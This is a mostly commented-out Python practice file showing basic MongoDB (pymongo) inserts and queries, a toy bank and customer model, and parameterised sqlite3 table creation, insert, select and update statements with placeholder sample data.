# # import pymongo # # client = pymongo.MongoClient() # # mydb = client["mydb"] # # users = mydb["users"] # # # user1 = {"name": "John Doe", "email": "[email protected]", "age": 30} # # # user2 = {"name": "Jane Doe", "email": "[email protected]", "age": 22} # # # users_list = [{ # # # "name": "Jack Ma", # # # "email": "[email protected]", # # # "age": 43 # # # }, { # # # "name": "Richard Roe", # # # "email": "[email protected]", # # # "age": 21 # # # }] # # # users.insert_one(user2) # # # users.insert_many(users_list) # # from pprint import pprint # # results = users.find({}).sort("age", pymongo.ASCENDING).limit(2) # # pprint(list(results)) # # import pymongo # # client = pymongo.MongoClient() # # my_bank = client["my_bank"] # # banks = my_bank["banks"] # # customers = my_bank["customers"] # # class Bank: # # def __init__(self, name, initials, address, phone): # # self.name = name # # self.initials = initials # # self.address = address # # self.phone = phone # # self._customers = [] # # banks.insert_one({ # # "name": name, # # "address": address, # # "initials": initials, # # "phone": phone # # }) # # def __repr__(self): # # return self.name # # def create_customer(self, name, age, email, account_no): # # new_customer = Customer(name, age, email, account_no, self.name) # # self._customers.append(new_customer) # # customers.insert_one(new_customer.__dict__) # # print(f"Customer with name {name} was successfully created.") # # return new_customer # # class Customer: # # def __init__(self, name, age, email, account_no, bank_name): # # self.name = name # # self.age = age # # self.email = email # # self._account_no = account_no # # self.balance = 0 # # self.bank = bank_name # # def repr(self): # # return self.name # # sbi = Bank("State Bank Of India", "SBI", "Some Address...", "+91 022 23456789") # # sbi.create_customer("John Doe", 30, "[email protected]", "0A23JMNJ3412") # import sqlite3 # conn = sqlite3.connect("mydb.db") # cursor = conn.cursor() # # cursor.execute(""" # # CREATE TABLE users ( # # id INTEGER PRIMARY KEY, # # name TEXT, # # email TEXT, # # age INTEGER # # ); # # """) # # user = ("John Doe", "[email protected]", 30) # # cursor.execute(f"INSERT INTO users (name, email, age) VALUES (?, ?, ?)", user) # # conn.commit() # # cursor.execute("SELECT * FROM users;") # # all_users = cursor.fetchone() # # print(all_users) # # # for user in all_users: # # # print(user) # cursor.execute("UPDATE users SET email = ? WHERE name = ?", # ("[email protected]", "John Doe")) # conn.commit()